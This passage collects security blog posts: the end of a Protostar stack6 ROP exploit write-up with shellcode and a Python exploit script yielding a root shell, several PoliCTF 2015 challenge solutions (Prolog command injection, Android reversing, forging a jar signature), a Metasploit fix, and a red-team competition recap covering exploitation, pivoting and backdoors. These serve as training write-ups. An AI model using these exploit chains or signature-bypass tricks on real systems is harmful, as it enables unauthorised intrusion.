  • There's only one more thing we need: Shellcode! Something eax can point to that actually does something. In this case we will launch a shell because these are all setuid binaries. Originally when I had completed this I ran into problems: my shell at /bin/sh or /bin/dash would immediately exit. I found a little trick on the isispoly blog that helped me work around my issues. Instead of launching /bin/sh I modified my shellcode so that it launched /tmp/sh, so I could define the executable. The code from the isispoly blog is below:

    #!/bin/bash
    term="/dev/$(ps -p$$ --no-heading | awk '{print $2'})"
    exec sh < $term
    

    What this does is gets the current tty and launches a shell with it. Good. So now we can take our shellcode and put it somewhere. I needed to make sure that /tmp/sh was chmodded a+x first, though, so it would actually execute when I finished.

    The next issue is where to put our shellcode. We could store it in the buffer of the program but that is usually unreliable. I like to use environmental variables to hold my shellcode. Finding out the address of an environmental variable is easy with the following C program:

    #include <stdio.h>
    #include <stdlib.h>
    int main(int argc, char **argv){
        if (argc > 1)
            printf("%s: %x\n", argv[1], getenv[argv[1]]);
        return 0;
    }
    

    This will take the name an environmental variable as an argument and print out its address in memory. I usually compile this and put it in /bin so I can use it later as well. Nifty. So now we put our shellcode (and lots of NOPs) in an environmental variable and find its address.

    /opt/protostar/bin $ export WIN=python -c 'print "\x90"*200 + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'
    /opt/protostar/bin $ getenv WIN
    WIN: 0xbfffffa7
    

    Nice. So now I have everything I need to make this ROP chain:

    • 4 gadgets:
    1. 0x8048452L: pop ebx ; pop ebp ;;
    2. 0x804847fL: call eax ; leave ;;
    3. 0x804844bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
    4. 0x8048577L: pop edi ; pop ebp ;;
  • Control of EIP
  • An address to feed into ebx to make sure our xchg gadget doesn't crash @ 0x62a4f184
  • Shellcode @ 0xbfffffa7
  • Now I spin up vim and go to work on a python script:

    from struct import pack
    CALLEAX = pack("<I", 0x804847f) #call eax ; leave ;;
    XEAX = pack("<I", 0x804844b) #xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
    POPEDI = pack("<I", 0x8048577) #pop edi ; pop ebp ;;
    POPEBX = pack("<I", 0x8048452) #pop ebx ; pop ebp ;;
    SHLCD = pack("<I", 0xbfffffa7+50-8) #shellcode address +50 so we land in the NOPS and -8 because we added 8 before with the xchg gadget, doesn't matter that much but it's good habit to get into
    PAD = "BBBB"
    
    
    buf = "A" * 80 #overflow the buffer to just before the return address
    buf += POPEDI #POP the address of the shellcode into EDI
    buf += SHLCD #This is after because now it will be first on the stack when POPEDI is called
    buf += PAD #fill in ebp with padding
    buf += POPEBX #POP the safe address into ebx so it doesn't crash
    buf += pack("<I", 0x62a4f184)
    buf += PAD #plus padding for ebp
    buf += XEAX #run the xchg to put the address of our shellcode into eax
    buf += CALLEAX #call eax
    
    print(buf) #profit
    

    Following this we output to a file and run the exploit:

    ~/ $ python 2chainz.py > chain
    ~/ $ /opt/protostar/stack6 < chain
    input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBοΏ½οΏ½bBBBBοΏ½οΏ½οΏ½
    # id
    uid=0(root) gid=0(root) groups=0(root),1001(user)
    

    Sweet victory.

    From here solving stack7 is as easy as finding the new addresses of these gadgets with ROPeMe. The program is nearly identical to stack6 except for the fact that the return address is more restricted (can't start with 0xb). This was never an issue in the first place, though because we set the return address to 0x8048577 which is in the .text section anyway.

    Some Metasploit Annoyances

    By: wumb0
    27 March 2015 at 18:58

    I don't know how I broke metasploit, but I did. It reported an incorrect password for the msf3 postgres user. Here's how I fixed it after some digging.

    su - postgres
    psql
    postgres=# alter user msf3 with encrypted password 'mypasswordhere';
    postgres=# \q
    vim /opt/metasploit/apps/pro/ui/config/database.yml
    

    Replace database password with whatever password you just set and enjoy msfconsole and related tools again.

    PoliCTF 2015 - Hanoi-as-a-Service - Pwnable 50

    By: wumb0
    12 July 2015 at 14:43

    This challenge gave nothing but a URL: haas.polictf.it 80. For some reason the organizers decided to run a lot of their services on port 80. Netcatting inΒ reveals a simple hanoi solver. Usually when given a service like this with no binary I start inputting values to see what information I can get or if I can cause any errors/crashes. I try a positive, then a negative number.

    Connecting

    The program had an error, and it printed out for us. What is prolog?

    Prolog is a general purpose logic programming language associated with artificial intelligence and computational linguistics. -Wikipedia
    With a little bit of Googling around I tried some syntax:

    Causing errors

    It looks like it is taking our input and putting it directly between the two parentheses of the hanoi function. This is textbook command injection. To test, I decided to print something simple. [[more]] Playing around

    Since the statement ended with a ")." I could leave that off. I did a bit of looking around for ways to execute system commands and I foundΒ exec. I ran a test with feedback to make sure it worked.

    whoami

    Got it, so now all there is left to do is find the flag. Usually the flags are kept in the home directory of the user they are running as so I usedΒ ls to maneuver my way around. The syntax for adding arguments is strange in prolog.

    Finding flag 1

    Finding flag 2

    Catting the file shows the flag!

    The Flag

    PoliCTF 2015 - Crack me if you can - Reversing 100

    By: wumb0
    12 July 2015 at 16:45

    I untarred the challenge and in the folder: crack-me-if-you-can.apk. Awesome, I love reversing Android apps. I did what I always do when I get an apk: decompress and decompile it.

    ~/Dev/dex2jar/d2j-dex2jar.sh crack-me-if-you-can.apk
    apktool d crack-me-if-you-can.apk
    

    Apktool complained about some of the resources since I don't have a framework-res.apk handy, but that's alright, I didn't need it to fully decompress anyway. Next, I loaded the jar file into JD-GUI and saved all of the sources from it as shown below. Save All Sources Then I unzipped and inspected the LoginActivity.java source file to see what the program was doing.

    mkdir sources &amp;&amp; unzip sources.zip -d $\_
    vim sources/it/polictf2015/LoginActivity.java
    

    When reversing an android app I always start at the first activity and look at the OnCreate function.

    protected void onCreate(Bundle paramBundle)
    {
      super.onCreate(paramBundle);
      setContentView(2130968599);
      if ((a(getApplicationContext(), 2)) \|\| (a(getApplicationContext(), "flagging{It_cannot_be_easier_than_this}")) \|\| (a(getApplicationContext(), false)) \|\| (a(getApplicationContext(), 2.78D)))
        Toast.makeText(getApplicationContext(), getString(2131492925), 1).show();
      while (true)
      {
        this.a = ((EditText)findViewById(2131361877));
        ((Button)findViewById(2131361878)).setOnClickListener(new a(this));
        this.b = findViewById(2131361875);
        return;
        Toast.makeText(getApplicationContext(), getString(2131492922), 1).show();
      }
    }
    

    [[more]] It is doing a check for a couple of different things and then showing a toast message. To figure out what that toast message is we can use aapt and the decompressed res files from apktool:

    aapt d resources crack-me-if-you-can.apk | grep -i $(printf "0x%x" 2131492925)
          spec resource 0x7f0c003d it.polictf2015:string/ΓΉ: flags=0x00000000
            resource 0x7f0c003d it.polictf2015:string/ΓΉ: t=0x03 d=0x00000180 (s=0x0008 r=0x00)
    grep 'ΓΉ' crack-me-if-you-can/res/values/strings.xml
        Your device looks good :)
        "Nice emulator, I'm watching you ;)"
        Hello!
    

    It looks like that condition is just an emulator check, inspecting the functions closer confirms this (I don't need to show that here). Then an EditText area is created along with a button that has an onclick listener of a(this).

    private void a()
    {
      this.a.setError(null);
      String str = this.a.getText().toString();
      boolean bool = TextUtils.isEmpty(str);
      EditText localEditText = null;
      int i = 0;
      if (bool)
      {
        this.a.setError(getString(2131492923));
        localEditText = this.a;
        i = 1;
      }
      if ((!TextUtils.isEmpty(str)) &amp;&amp; (!a(str)))
      {
        this.a.setError(getString(2131492919));
        localEditText = this.a;
        i = 1;
      }
      if (i != 0)
        localEditText.requestFocus();
    }
    

    Everything in this is fairly straightforward: clear the error, get the string from the EditText area, make sure the string is not empty, if a(str) is false set an error, then focus on the text box again if there was an error. The function a(str) is the only thing interesting here.

    private boolean a(String paramString)
    {
      if (paramString.equals(c.a(b.a(b.b(b.c(b.d(b.g(b.h(b.e(b.f(b.i(c.c(c.b(c.d(getString(2131492920))))))))))))))))
      {
        Toast.makeText(getApplicationContext(), getString(2131492924), 1).show();
        return true;
      }
      return false;
    }
    

    We want this function to return true so we need the paramString (the user input) to equal whatever that long mess of functions returns. To confirm that this is where we want to be looking, I found the string resource for the toast.

    aapt d resources crack-me-if-you-can.apk  grep -i $(printf "0x%x" 2131492924)
          spec resource 0x7f0c003c it.polictf2015:string/ìò: flags=0x00000000
            resource 0x7f0c003c it.polictf2015:string/ìò: t=0x03 d=0x0000017f (s=0x0008 r=0x00)
    grep 'ìò' crack-me-if-you-can/res/values/strings.xml
        Good to go! =)
    

    It looks like this is what we want. Now for the string in the mass on functions.

    aapt d resources crack-me-if-you-can.apk | grep -i $(printf "0x%x" 2131492920)
          spec resource 0x7f0c0038 it.polictf2015:string/Γ Γ¨: flags=0x00000000
            resource 0x7f0c0038 it.polictf2015:string/Γ Γ¨: t=0x03 d=0x0000017b (s=0x0008 r=0x00)
    grep 'Γ Γ¨' crack-me-if-you-can/res/values/strings.xml
        [[c%l][c{g}[%{%Mc%spdgj=]T%aat%=O%bRu%sc]c%ti[o%n=Wcs%=No[t=T][hct%=buga[d=As%=W]e=T%ho[u%[%g]h%t[%}%
    

    Now, the only thing left to do is look at the c and b classes (included with the challenge).

    public class c
    {
      public static String a(String paramString)
      {
        return paramString.replace("aa", "ca");
      }
      public static String b(String paramString)
      {
        return paramString.replace("aat", "his");
      }
      public static String c(String paramString)
      {
        return paramString.replace("buga", "Goo");
      }
      public static String d(String paramString)
      {
        return paramString.replace("spdgj", "yb%e");
      }
    }
    

    b is basically the same thing, but obviously different substitutions and some replaceFirst functions as well. Now all that I needed to do was make the correct replacements on the string and the flag would reveal itself! I've never been good at java, so I just copied and pasted to python to solve.

    c.a(b.a(b.b(b.c(b.d(b.g(b.h(b.e(b.f(b.i(c.c(c.b(c.d(getString(2131492920))
    paramString = "[[c%l][c{g}[%{%Mc%spdgj=]T%aat%=O%bRu%sc]c%ti[o%n=Wcs%=No[t=T][hct%=buga[d=As%=W]e=T%ho[u%[%g]h%t[%}%"
    paramString = paramString.replace("spdgj", "yb%e") #c.d
    paramString = paramString.replace("aat", "his") #c.b
    paramString = paramString.replace("buga", "Goo") #c.c
    paramString = paramString.replace("=", "\_") #b.i
    paramString = paramString.replace("\\}", "", 1) #b.f
    paramString = paramString.replace("\\{", "", 1) #b.e
    paramString = paramString.replace("R", "f", 1) #b.h
    paramString = paramString.replace("c", "f", 1) #b.g
    paramString = paramString.replace("]", "") #b.d
    paramString = paramString.replace("[", "") #b.c
    paramString = paramString.replace("%", "") #b.b
    paramString = paramString.replace("c", "a") #b.a
    paramString = paramString.replace("aa", "ca") #c.a
    print(paramString)
    

    And then to run

    python sol.py
    fla{g}{Maybe_This_Obfuscation_Was_Not_That_Good_As_We_Thought}
    

    The flag was actually flag{Maybe_This_Obfuscation_Was_Not_That_Good_As_We_Thought} Some jerk posted this flag in IRC at like 2 in the morning. That was sort of dumb. Although only just over half of the teams got it.

    PoliCTF 2015 – John Pastry Shop – Pwnable 100 (aka how to make a pwndcake)

    By: wumb0
    12 July 2015 at 17:18

    This challenge was a pain in the ass, but it was still fun. It's funny that I really don't like java but I ended up solving the two java-based challenges in this CTF. Bleh. So this challenge had a set of files and a server to connect to. The files were Cake.java, Decode.java, and ShamanoCakeContainerEncoded.jar. The server was pastry.polictf.it 80. The description was

    Among his hobbies, John likes baking cakes to eat during the warm afternoons in Milan. He is damn good at this such that, a couple of months ago, he decided to open a pastry shop on his own. The shop was an immediate success and John needed to bake just so many cakes that he decided to outsource the production of his famous NewYorkCheeseCake to another external and trusted pastry shop, the Shamano's (see shamanoPastryShop.pem). John provided Shamano's with the original basic recipe of his Cake (see Cake.java) and, after his customization, Shamano returns to John a cake container holding the NewYorkCheeseCake (see ShamanoCakeContainerEncoded.jar). Notice that Shamano has to follow John's directions carefully and that is why he always have to encode properly his cake containers so that John can verify all of them accordingly to a fixed decoding process (see extract of source code in Decode.java). John always tries his best for verifying the quality and genuineness of the incoming NewYorkCheeseCake but, you know, to busy people, like he is, it may sometimes happen to forget to check something.
    So there is a Cake, a NewYorkCheeseCake, and a Decoder, that must be the three files. First, I wanted to see what the server would do upon sending it the ShamanoCakeContainerEncoded.jar file.
    nc pastry.polictf.it 80 < ShamanoCakeContainerEncoded.jar
    Welcome to John's Pastry Shop!
    In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
    And it also contains a valid NewYorkCheeseCake.
    This seems a tasty cake!
    Here are its ingredients:
    * Cream Cheese
    * Biscuits
    * Sugar
    * Isinglass
    Thanks for visiting John's Pastry Shop!
    

    Since it said something about encoding I wanted to make sure it was a jarfile.

    file ShamanoCakeContainerEncoded.jar
    ShamanoCakeContainerEncoded.jar: data
    

    Alright so it's encoded like it says, the file command should say it is a zip file since jars are just zips. Good thing there is a Decoder! ... well, most of a decoder: [[more]]

    // ..Extract from the decoding system..
    // These are the special bytes for the encoding/decoding.
    private static final byte INIT\_BYTE = (byte) 0x17;
    private static final byte ESCAPE\_BYTE = (byte) 0x18;
    private static final byte EXIT\_BYTE = (byte) 0x19;
    // These are helper flags.
    private static boolean isValidData = false;
    private static boolean isEscapingMode = false;
    private static boolean isSequenceClosed = false;
    // Decoder behavior for the input cake containers:
    // ouputStream holds a FileOutputStream, which writes the 
    // decoded version of the file..
    int read;
    while ((read = System.in.read()) != -1 && !isSequenceClosed) {
        if ((byte) read == INIT_BYTE && !isEscapingMode)
            isValidData = true;
            else {
                if ((byte) read == EXIT_BYTE && !isEscapingMode) {
                isValidData = false;
                            isSequenceClosed = true;
                    }
                    else {
                        if (!isEscapingMode && (byte) read == ESCAPE_BYTE)
                            isEscapingMode = true;
                            else {
                                if (isEscapingMode && !isValidData)
                                        isEscapingMode = false;
                                    else {
                                        if (isValidData) {
                                            isEscapingMode = false;
                                            outputStream.write((byte) read);
                                        }
                                    }
                            }
                        }
                    }
            }
    }
    

    This is not a complete java class. So I fixed it. Note the marked lines above, they are important to the solution.

    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    public class Decode {
        private static final byte INIT\_BYTE = (byte) 0x17;
        private static final byte ESCAPE\_BYTE = (byte) 0x18;
        private static final byte EXIT\_BYTE = (byte) 0x19;
        private static boolean isValidData = false;
        private static boolean isEscapingMode = false;
        private static boolean isSequenceClosed = false;
        public static void main(String args[]){
            int read;
            try {
                File file = new File("decoded.jar");
                FileOutputStream outputStream = new FileOutputStream(file);
                while ((read = System.in.read()) != -1 && !isSequenceClosed) {
                    if ((byte) read == INIT_BYTE && !isEscapingMode)
                            isValidData = true;
                    else {
                        if ((byte) read == EXIT_BYTE && !isEscapingMode) {
                            isValidData = false;
                            isSequenceClosed = true;
                        }
                        else {
                            if (!isEscapingMode && (byte) read == ESCAPE_BYTE)
                                    isEscapingMode = true;
                            else {
                                if (isEscapingMode && !isValidData)
                                    isEscapingMode = false;
                                else {
                                    if (isValidData) {
                                        isEscapingMode = false;
                                        outputStream.write((byte) read);
                                    }
                                }
                            }
                        }
                    }
                }
            } catch (IOException e){
                e.printStackTrace();
            }
        }
    }
    

    This takes input from stdin and writes the decoded jar to a file called decoded.jar (I do the javas sometimes I guess...). Then, I attempted to decode the ShamanoCakeContainerEncoded.jar file.

    javac Decode.java
    java Decode < ShamanoCakeContainerEncoded.jar
    file decoded.jar
    decoded.jar: Zip archive data, at least v2.0 to extract
    

    Bingo. It's now a readable jar file. I opened it up in JD-GUI to take a look at the code.

    File Structure
    Only one class file, NewYorkCheeseCake, and signing stuff (META-INF). The NewYorkCheeseCake code was simple.
    package it.polimi.necst.johncakedesigner;
    import java.util.List;
    public class NewYorkCheeseCake
      extends Cake
    {
      public void addIngredientsToCake()
      {
        this.ingredientsList.add("Cream Cheese");
        this.ingredientsList.add("Biscuits");
        this.ingredientsList.add("Sugar");
        this.ingredientsList.add("Isinglass");
      }
    }
    

    I needed to write my own NewYorkCheeseCake class to find the flag. I then looked at the Cake.java class to see what was being extended.

    public abstract class Cake {
        protected boolean shouldBeAddedTheSpecialIngredient;
        protected List<String> ingredientsList;
        // Zero constructor
        protected Cake() {
            shouldBeAddedTheSpecialIngredient = false;
            ingredientsList = new LinkedList<>();
        }
        // To be implemented in the classes that extends this one.
        // by filling up the ingredientsList with all the ingredients
        // of the extending Cake.
        public abstract void addIngredientsToCake();
        public @NotNull List<String> getIngredients() {
            return ingredientsList;
        }
    }
    

    The shouldBeAddedTheSpecialIngredient attribute looks promising. Admittedly it took me so long to find this because I wrote the class to exec commands on the machine that was hosting the challenge first before actually looking closer at this file. From here I constructed my custom NewYorkCheeseCake (aka pwndcake).

    package it.polimi.necst.johncakedesigner;
    import java.util.List;
    public class NewYorkCheeseCake extends Cake{
        public void addIngredientsToCake(){
            this.shouldBeAddedTheSpecialIngredient = true;
        }
    }
    

    I went to build my pwndcake

    javac Cake.java NewYorkCheeseCake.java
    Cake.java:21: illegal start of type
            ingredientsList = new LinkedList<>();
    

    Looks like an error. Since strings are being added to that list in the original NewYorkCheeseCake class I just put string in between the angle brackets and tried to compile again.

    javac Cake.java NewYorkCheeseCake.java
    ingredientsList = new LinkedList<String>();
    Cake.java:3: package com.sun.istack.internal does not exist
    import com.sun.istack.internal.NotNull;
                                  ^
    Cake.java:29: cannot find symbol
    symbol  : class NotNull
    location: class it.polimi.necst.johncakedesigner.Cake
        public @NotNull List<String> getIngredients() {
                ^
    2 errors
    

    I just removed the import line and the @NotNull decorator and tried to compile again. This time it worked. Then I needed to pack it into a jar file.

    mkdir -p it/polimi/necst/johncakedesigner && cp NewYorkCheeseCake.class $\_
    jar -cfe pwndcake.jar it.polimi.necst.johncakedesigner.NewYorkCheeseCake it
    

    It took me a while to figure out how to do this right. The path needs to be it/polimi/necst/johncakedesigner because of the package name it.polimi.necst.johncakedesigner. I sent the jar.

    nc pastry.polictf.it 80 < pwndcake.jar
    Welcome to John's Pastry Shop!
    [Error] zip file is empty Exit now..
    

    No luck, it thinks the jar is empty since it isn't encoded like it should be. I took a closer look at the decoding algorithm and wrote an encoder. Essentially the decoder expects an INIT_BYTE (0x17) at the beginning of the file, an EXIT_BYTE (0x19) at the end of the file, and any occurances of INIT_BYTE or EXIT_BYTE in the middle of the file with ESCAPE_BYTE (0x18). ESCAPE_BYTEs that are not escaping other bytes are also escaped with an ESCAPE_BYTE (like \\ in the shell). From this knowledge I wrote an encoder to take a normal jar file from stdin, encode it, and write the encoded bytes to the file encoded.jar.

    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    public class Encode {
        private static final byte INIT_BYTE = (byte) 0x17;
        private static final byte ESCAPE_BYTE = (byte) 0x18;
        private static final byte EXIT_BYTE = (byte) 0x19;
        public static void main(String args[]){
            int read;
            try {
                File file = new File("encoded.jar");
                FileOutputStream outputStream = new FileOutputStream(file);
                outputStream.write((byte) INIT_BYTE);
                while ((read = System.in.read()) != -1) {
                    if ((byte) read == INIT_BYTE || (byte)read == EXIT_BYTE\|| (byte)read == ESCAPE_BYTE){
                        outputStream.write((byte) ESCAPE_BYTE);
                    }
                    outputStream.write((byte) read);
                }
                outputStream.write((byte) EXIT_BYTE);
            } catch (IOException e){
                e.printStackTrace();
            }
        }
    }
    

    To make sure my encoder worked I compiled it, ran it on the decoded.jar file that was created earlier by the Decode class, and diffed the resulting encoded.jar with the provided ShamanoCakeContainerEncoded.jar file.

    javac Encode.java
    java Encode < decoded.jar
    diff encoded.jar ShamanoCakeContainerEncoded.jar
    

    No output meant no difference! It seems like it worked. I sent the encoded.jar file to the server to make sure and it worked. I sent the pwndcake.jar file hoping for a flag back, but there was one more obstacle to overcome.

    java Encode < pwndcake.jar
    nc pastry.polictf.it 80 < encoded.jar
    Welcome to John's Pastry Shop!
    [Error] The cake container has unsigned class files. Exit now..
    

    Signing a jar can be confusing. You have to generate a keystore with keytool and then sign it with jarsigner. I thought that just signing it would be enough.

    keytool -genkey -alias poli
    Enter keystore password:  
    What is your first and last name?
      [Unknown]:  
    What is the name of your organizational unit?
      [Unknown]:  
    What is the name of your organization?
      [Unknown]:  
    What is the name of your City or Locality?
      [Unknown]:  
    What is the name of your State or Province?
      [Unknown]:  
    What is the two-letter country code for this unit?
      [Unknown]:  
    Is CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown correct?
      [no]:  yes
    Enter key password for <poli>
            (RETURN if same as keystore password):  
    jarsigner pwndcake.jar poli
    java Encode < pwndcake.jar
    nc pastry.polictf.it 80 < encoded.jar
    Welcome to John's Pastry Shop!
    [Error] The cake container was not signed by the expected Shamano baker. Exit now..
    

    Okay, so I need to make sure it's signed correctly. I didn't have the Shamano baker's private keystore for signing so I went to inspecting the jarfile with jarsigner

    jarsigner -verify -verbose -certs decoded.jar
             177 Wed Apr 15 18:28:26 EDT 2015 META-INF/MANIFEST.MF
             298 Wed Apr 15 18:28:26 EDT 2015 META-INF/SHAMANO_.SF
            1441 Wed Apr 15 18:28:26 EDT 2015 META-INF/SHAMANO_.RSA
    sm       676 Wed Apr 15 18:26:50 EDT 2015 it/polimi/necst/johncakedesigner/NewYorkCheeseCake.class
          X.509, CN=Shamano Pastry Shop, OU=Shamano Cooking Service, O=Shamano Inc., L=Milano, ST=Italy, C=IT
          [certificate is valid from 4/15/15 8:31 AM to 8/31/42 8:31 AM]
      s = signature was verified 
      m = entry is listed in manifest
      k = at least one certificate was found in keystore
      i = at least one certificate was found in identity scope
    jar verified.
    

    I created a new keystore with the same CN, OU, O, L, ST, and C values as the original jar, encoded it, and sent it.

    keytool -genkey -alias poli2
    Enter keystore password:
    What is your first and last name?
      [Unknown]:  Shamano Pastry Shop
    What is the name of your organizational unit?
      [Unknown]:  Shamano Cooking Service
    What is the name of your organization?
      [Unknown]:  Shamano Inc.
    What is the name of your City or Locality?
      [Unknown]:  Milano
    What is the name of your State or Province?
      [Unknown]:  Italy
    What is the two-letter country code for this unit?
      [Unknown]:  IT
    Is CN=Shamano Pastry Shop, OU=Shamano Cooking Service, O=Shamano Inc., L=Milano, ST=Italy, C=IT correct?
      [no]:  yes
    Enter key password for <poli2>
            (RETURN if same as keystore password): 
    jarsigner pwndcake.jar poli2
    java Encode < pwndcake.jar
    nc pastry.polictf.it 80 < encoded.jar
    Welcome to John's Pastry Shop!
    In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
    And it also contains a valid NewYorkCheeseCake.
    This seems a tasty cake!
    Here are its ingredients:
    flag{PinzimonioIsTheSecretIngredientAndANiceFlag}
    Thanks for visiting John's Pastry Shop!
    

    Looks like a flag to me: flag{PinzimonioIsTheSecretIngredientAndANiceFlag}

    WMCSC Red vs. Blue Competition 2015

    By: wumb0
    30 July 2015 at 00:31

    Today I had the pleasure of participating in the West Michigan CyberSecurity Consortium's (WMCSC's) annual red vs. blue competition. In April I received an email from one of my professors about red teaming for this event and was interested because I like red teaming. I thought the experience would be worth the money I had made at my internship, so I decided to come out here to play. I was certainly right about it being worth it; I have done a bit of red teaming before, but this was the first time I was doing something without any knowledge of the infrastructure. The team that was gathered was mostly centered in Michigan, with a few people from other areas like myself. We started collaborating in mid July so that we could form a game plan. There were 11 people total on our red team lead my Mr. Matt Carpenter of Grimm. We spent a week or so talking about strategies and tools and then were given access one week before the actual event to try and breach systems and put backdoors in place. This infrastructure was broken up into a few different parts: the school, the power plant, Alphaville, (one other one I can't remember right now), and our target Zenda. Zenda was supposedly a research company we were supposed to hack as the Kneebonian Mafia. The infrastructure for the competition was put together by Merit, a company that was developing networking technologies back when ARPANET was starting to be more heavily used and other networks were popping up. The company now (among other things) runs the Michigan Cyber Range, which was the infrastructure we were playing on.

    To gain access to the environment we had to log log onto Windows 7 machines via the VMWare Horizon View client, which connected to the Kali VMs via a remote service called NoMachine. Getting in was actually surprisingly easy, but I locked myself out a few times with a couple of dumb mistakes (I'll explain this in a second). The one disappointing aspect of this competition was that there was no internet within the environment, so we couldn't just go out and get tools and things without a bit of hassle. We ended up being able to upload packages to a web interface and access them from Kali, but this wasn't fully set up until Saturday or Sunday. We gained access to Kali on Thursday, but I didn't really end up doing much until I was able to get my toolset onto the box. They did not give us any IP address information, so I just tried scanning and poking at everything and eventually I ended up locking myself out twice, like I mentioned above. This is how I found out that I do stupid things when I'm not given targets!

    When I scanned and saw the exposed outside (local) network I was a bit disappointed: it was Windows XP, Server 2003, and a lot of Linux 2.X. I thought that was it; we were going to own everything and make blue team cry, and be done in 20 minutes... but I was so wrong. Not long after scans had finished I quickly gained access to five or six Windows XP/2003 machines on that outside local network which was known as Alphaville (the 10.0.3.0/24 network). Our Kali boxes were also on this network. This was Monday, so I spent the day planting myself deep into these boxes with Cobalt Strike's beacons and other shenanigans I like to do to maintain access. One of the boxes was a Server 2003 domain controller for the school network (192.168.40.0/24), which had many hosts underneath it. Unfortunately I was having trouble getting to them, so I moved on and attempted to crack passwords for a bit. I ended up importing ophcrack's XP free small tables into the environment and trying to use those. Since Cobalt Strike and metasploit were already hogging most of my RAM I ended up using OCR to get the hashes on my local box and cracked them using the XP special tables. Through credential re-use I gained access to the Linux machine that the library website was hosted on and planted backdoors on that.

    [[more]]

    Tuesday was a travel day for me; it was my first time in Michigan ever. I flew into Detroit and took a 4 hour bus ride to Grand Rapids where I stayed in the crappiest hotel I could find. I started doing more recon in the hotel over my phone's data connection because the free wifi wasn't working and the staff wasn't being very helpful with it. Someone had found a whole other network: the Zenda network. The outward facing network for Zenda (10.115.3.0/24) had a few boxes: FTP, web, a workstation with RDP enabled, two PFSense machines. Luckily the FTP server was Windows 2000 (SO OLD). After breaching that box with the trusty MS08_067 exploit I pivoted through to Zenda's inner network (192.168.66.0/24) and started inspecting machines. The part I want to note here is that I was pivoting through a WINDOWS 2000 machine; it was so unstable that MS08_067 stopped working after a few people popped it and then the RPC server crashed (but did not reboot) when I switched to MS03_026. Not only that, but shells kept dying randomly for some reason and after the RPC server was dead it could not be rebooted through normal methods (I tried a ton of stuff, psshutdown, tsshutdn, shutdown, killing processes, etc. but nothing really worked). However in the time I had the shells I got I was able to gather some important information about the internal network. I started with an ARP scan because I figured that was a quick way to map out the network. Since I'm a Windows guy I and I could only scan a limited number of ports because I was pivoting I decided to scan ports 389, 445, 3389, 22, 23, 1408, 3306, 21, 8080, 80, and 443. Note that through pivots and proxies ONLY CONNECT SCANS will work, so I didn't want to scan every port and wake all the neighbors, plus it was slow scanning a lot of ports. I then used the smb_version scan module on the hosts that had SMB (445) open.Β  The smb_version scan returned three Windows hosts and one Linux host. One of those Windows hosts also had 389 and 53 open, so I had a strong hunch that that was the domain controller. I wanted that machine. I spent the next few hours fighting with my pivot and having no luck on the Zenda network. I tried bruteforcing credentials, re-using passwords from the outside, throwing exploits, and a few other things until I had to go to sleep. I was honestly feeling pretty defeated at that point... but I had a plan.

    I was picked up at 6:15 the next morning by one of the other red teamers and we went to the school that the event was hosted at (GVSU). He was confused at how I had heard about the competition and told me everyone was convinced I was some crazy hacker from RIT. I had been putting a lot of work into this, but when I got there I got similar reaction from people such as "oh, yeah you're that crazy guy" and "ah that's you." Apparently I'd made an impression on some people. It was very welcoming for sure. The competition started around 8:30, so I had time to check a few more things and finalize things for my plan!

    The plan was to wait until the blue team logged onto the Windows machine with the domain administrator account, migrate into their processes, and own the domain from there. It would basically leave us a very small Window of time to compromise them before they kicked us out of the box. Well, it worked. I migrated right into the first process I could find when the competition started. I added a user to their domain and immediately pivoted through to the domain controller, where I installed malware and backdoors like crazy. I had made the Windows 2000 pivot more stable by getting initial access with MS08_067 and then migrating out to other things like notepad and VMWare tools, so that was no longer an issue. After planting deep into the domain, I gave one of the other guys RDP access where he used GPO and some other Windows admin magic to lock the blue team out from their DC. That was fun, but was probably a bad idea in hindsight, because blue team started focusing more on network defense from here. After owning the domain I popped two or three other Windows hosts, including one that was outward facing and would have been another great pivot point. Me and one of the other guys were shoveling people shells and backdoors like crazy, it was intense and a lot of fun. At one point I think there were 4 or 5 people all connected to my proxy to pivot through to the internal network to access machines in attempts to persist access or gather information. There was a little push back from blue team before we kicked them out; they disabled our accounts, deleted them, changed the passwords, etc. but this was easy stuff to deal with and we were getting back in fairly regularly. When one of us would lose a shell we could just get it passed back from someone else on the team, which was great. Then, I got kicked out of EVERYTHING around 11am. All of my beacons, shells, and other callbacks completely died. Nobody was able to access Zenda from then on.

    I ended up spending the rest of the competition trying to think of ways back in and also defacing the library website with some fun memes I made before the competition and imported into the environment.

    winxp website gone uselessfirewall stretchface

    patchyostuff Password-is-bad onedoesnotsimplcreep

    When it was all over at 2pm there was a debrief where blue team said that they had null routed us around 11, when I had gotten kicked out. We happened to be on the same network as the Alphaville town network, but they decided to just block us. The "CEO" allowed it and the rules didn't prohibit it, plus their scoring engine wasn't on that network so it didn't affect any service scores. It was a bit disappointing to lose all that access to a broad network filter, but I give them props for playing the game's rules to their advantage. They completed their mission of keeping us out of Zenda... after getting locked out themselves and needing a restore of their domain controller. It was fun to answer questions during the debrief about what I was doing and how my stuff worked.

    In the end it was a great experience. I met some really kick ass people, some of which I will be seeing again at Black Hat/DEFCON next week! I'm glad I came out to play, but the real bonus was getting to talk to some of the other players, both red and blue. The guy that was shoveling shells with me actually knows the guy that sits next to me where I work, which is a strange coincidence. I also met the mother of one of the guys that's putting on the Car Hacking Village with Charlie Miller, so that's cool too. Everyone thanked me for coming out and the Merit guys even gave me a sweet challenge coin for coming all the way out and contributing so much!

